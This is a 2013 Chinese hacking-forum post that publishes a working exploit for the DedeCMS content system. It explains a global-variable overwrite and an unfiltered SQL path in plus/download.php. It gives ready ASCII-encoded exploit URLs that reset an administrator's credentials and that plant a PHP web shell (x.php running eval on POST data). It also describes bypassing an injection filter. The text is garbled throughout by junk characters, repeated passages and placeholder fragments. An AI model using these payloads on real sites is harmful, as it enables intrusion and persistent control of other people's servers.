找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2559|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。6 i2 g# x% y' v, d) k9 H
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
! N0 ]4 C8 T# t$ J3 ^起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
+ ?% i: F* V1 e  W& _include/dedesql.class.php! V1 z" O5 F. a% j
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。" y4 C! G7 P* B1 K
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery26 C9 e& {% z$ p& X+ D2 U" B+ f& d& l
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。( I0 I/ ^' d* A
plus/download.php
' r$ B. ]" |$ K' D! c- J/ Oelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
+ w0 z8 @2 y& ~2 Q* n4 }  \( l5 F/ @admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:3 P1 b' Q4 P/ ~+ s, q3 f
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
! @0 \, |0 R7 p" J0 m- \http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
6 G) K  W: Y8 O7 }漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。& D0 X2 U$ {; y
如果找不到后台,参见以前修改数据库直接拿SHELL的方法- ]; i7 S( m( @7 n: ?& R( @# s
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
6 U# k/ Z3 g. @+ A4 q1 X, c0 Z" f: ]补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?' D1 G# `& D( n8 R8 g" [
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
* p4 g: r" k. ~8 u6 iinclude/dedesql.class.php1 V" x* ~) T0 U6 F- S0 Q. D
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。5 C  `7 i( m" ~1 q; s' u) ?- y: e' _6 r% W
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery21 M4 W" R6 f4 [
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
! P- ^- v# {4 h2 w; }plus/download.php
. L" a/ W' r% `else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):! E1 n0 g9 p* ~) X. h' I0 h/ @9 n
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
9 r  P/ f4 ^9 _4 P- zUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:& M, i, P, ?! r# @
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin3 F' h* a; L  r% Y* v) E8 @+ K
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
" W( T! D% t4 a5 Q如果找不到后台,参见以前修改数据库直接拿SHELL的方法3 E# Q* }% _. i
___FCKpd___6getshell:/ N) t7 b! r" }& v) R3 C+ n3 U
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
5 C, I+ h/ U+ L/ Dhttp://127.0.0.1/plus/x.php0 f# G! m! m& {* y* g
update成功后还要访问下 /plus/mytag_js.php?aid=1* B7 W3 i* w' J4 B5 O
失败原因:
9 \; `  ]) A. @7 h测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49), M+ ~/ E0 X  N' h) t
配图:5 t, P, B; q* Y6 x: |% q
1.查看dede当前版本
* C9 A: S, K9 _7 S7 F$ F7 x( H: x7 x2 M% b9 q" g1 _! I
2.执行exp) d9 M6 z1 d5 ?7 T: N( c/ ^& S

: _/ r5 q/ Z! N/ K8 ?% U" V" G7 M, lhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台0 @# J1 D0 R" {2 z6 J
4 J7 ?/ T3 X0 K+ H# ]* Q: z5 l! k
spider密码admin
4 D6 d9 g1 p( K, O- c7 h/ X; Q
( j# i1 P3 s, S2 i2 X/ }0 x; Phttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png7 j, j. W- Y- @; L
原作者:imspider6 ~% O" p! L3 g
" K- A+ n: n" }9 T' C8 L
本博客测试+配图+getshell
$ e& s# f* d' P* B. jPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 7 y( ^/ g; g& {4 o4 x2 M- I

% w- Z- n9 C) X6 U3 Vgetshell:) ]$ y, S7 K" c+ R# }2 b
___FCKpd___7会在plus目录生成 x.php 密码 m
0 z2 `7 w8 a% shttp://127.0.0.1/plus/x.php
( q8 l) r$ k: N* E% \update成功后还要访问下 /plus/mytag_js.php?aid=1
' K8 a0 U: K; a; q  w/ [# @; T失败原因:
" Y* b3 A3 O. J1 o5 }: X测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
8 y0 m0 f, L/ o2 z+ t  D- J配图:! z. v- @4 |  _* x9 }7 g% B2 i
1.查看dede当前版本# e$ i6 R4 {( e6 T3 _5 i6 N
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
1 t* W# [, v& b2.执行exp
$ r  |- Y6 \+ H' ihttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台% u# Y! a/ p8 F7 k( C
spider密码admin
) P2 {: t8 _" o# J/ Lhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
' |" ]+ z: S4 C7 ]
; x+ x) I+ n. Z" Z6 W" c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表